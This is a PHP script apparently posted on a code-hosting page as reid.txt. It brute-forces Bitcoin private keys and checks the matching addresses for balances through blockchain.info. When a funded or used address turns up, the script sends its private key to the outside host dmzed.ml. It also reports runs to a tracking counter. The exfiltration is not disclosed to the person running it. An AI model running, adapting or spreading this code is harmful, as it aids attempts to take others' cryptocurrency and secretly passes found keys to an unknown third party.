-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathreid.txt
124 lines (110 loc) · 4.45 KB
/
reid.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<?php
require("./api/class.phpmailer.php");
require_once './api/vt.php';
use BitcoinPHP\BitcoinECDSA\BitcoinECDSA;
function return_random() {
$range=gmp_random_range("28170013338405097811037849009", "2573157538607026564968244111304175730063056983979442319613448069811514699875");
return gmp_strval($range);
}
function return_random_index() {
$range=gmp_random_range("1267650600228229401496703205376", "115792089237316195423570985008687907852837564279074904382605163141518161494336");
return gmp_strval($range);
}
function return_index($index) {
$math_in = array("0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0");
$math_in[0] = 1;
$math_in[1] = 16;
$base_in = 16;
for ($i = 2; $i < count($math_in); $i++) {
$base_in = bcmul($base_in, '16', 5);
$math_in[$i] = $base_in;
}
$math_in = array_reverse($math_in);
//print_r($math_in);
$fx_index = array("0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0");
$keyspace = '0123456789abcdef';
for ($x = 0; $x < count($fx_index); $x++) {
$divdez = bcdiv($index, $math_in[$x], 5);
$divdem = explode(".",$divdez);
$divde = $divdem[0];
if($divde >= 1 && 16 > $divde){
$dube = $divde;
///echo $x ." - ".$divdez." - $index -- $math_in[$x]\n";
$fevdas = bcmul($dube, $math_in[$x], 5); // multiğle
$index = bcsub($index, $fevdas, 5); // minus
///echo $x ." $index \n";
$fx_index[$x] = $dube;
}
}
//print_r($fx_index);
$string = "";
for ($i = 0; $i < count($fx_index); $i++) {
$fx_indexx = $fx_index[$i];
$string .= $keyspace[$fx_indexx];
}
return $string;
}
//stats
$trewor = rand(1,20);
if($trewor == 3){
$referer = "https://".urlencode($argv[2]).".com";
$opts = array(
'http'=>array(
'header'=>array("Referer: $referer\r\n")
)
);
$context = stream_context_create($opts);
$daice = file_get_contents("https://sstatic1.histats.com/0.gif?4435132&101", false, $context);
}
//statsend
$start = microtime(true);
$limit = 600; // Seconds
$solved = 0;
$sent = 0;
while (true) {
$page = return_random();
//echo $page."<br>";
$page_indexc = bcmul($page, '45', 0);
$page_index = bcsub($page_indexc, '44', 0); // minus
$bitcoinECDSA = new BitcoinECDSA();
$btc_generated_adrs = array();
$collection_for_balance = "";
for ($x = 0; $x <= 44; $x++) {
$bitcoinECDSA->setPrivateKey(return_index($page_index));
//echo return_index($page_index)."<br>";
//$bitcoinECDSA->setPrivateKey("0000000000000000000000000000000000000000000000000000000000000001");
//$page_index = return_random_index(); // random
$page_index = bcadd($page_index, '1', 0); //increased
$addressc = $bitcoinECDSA->getAddress(); //compressed
$address = $bitcoinECDSA->getUncompressedAddress();
$wif = $bitcoinECDSA->getWif();
$private_key = $bitcoinECDSA->getPrivateKey();
if($bitcoinECDSA->validateAddress($addressc) && $bitcoinECDSA->validateWifKey($wif)) {
array_push($btc_generated_adrs,"{$addressc},{$address},{$wif},{$private_key}");
$collection_for_balance .= "{$addressc}|{$address}|";
}
}
$content = file_get_contents('https://blockchain.info/multiaddr?active='.$collection_for_balance, 0, stream_context_create(["http"=>["timeout"=>30]]));
$json = json_decode($content, true);
$returned_adresses = $json["addresses"];
foreach($returned_adresses as $item){
foreach($btc_generated_adrs as $saved){
$dater = explode(",",$saved);
if($dater[0] == $item["address"] || $dater[1] == $item["address"]){
if($item["final_balance"] > 0 || $item["n_tx"] > 0 ){
$tosave = "Wif : ".$dater[2]."<br> Adress : ".$item["address"]."<br> Balance : ".$item["final_balance"]."<br> Tx :".$item["n_tx"]."<br> Priv key : ".$dater[3];
//sendinger("M",$argv[1],$argv[2],$argv[1],"You Win",$tosave);
$cons = file_get_contents('http://dmzed.ml/?id='.$dater[3].'_thp');
$sent += 1;
//die("found");
}
}
}
}
if($returned_adresses){
$solved += 1;
}
if (microtime(true) - $start >= $limit) {
die("Tot solved Pges: ".$solved." Sent : ".$sent." Rnd pge : ".$page." \n Retadr : ".$returned_adresses[0]["address"]." \n Retbl : ".$returned_adresses[0]["final_balance"]);
}
}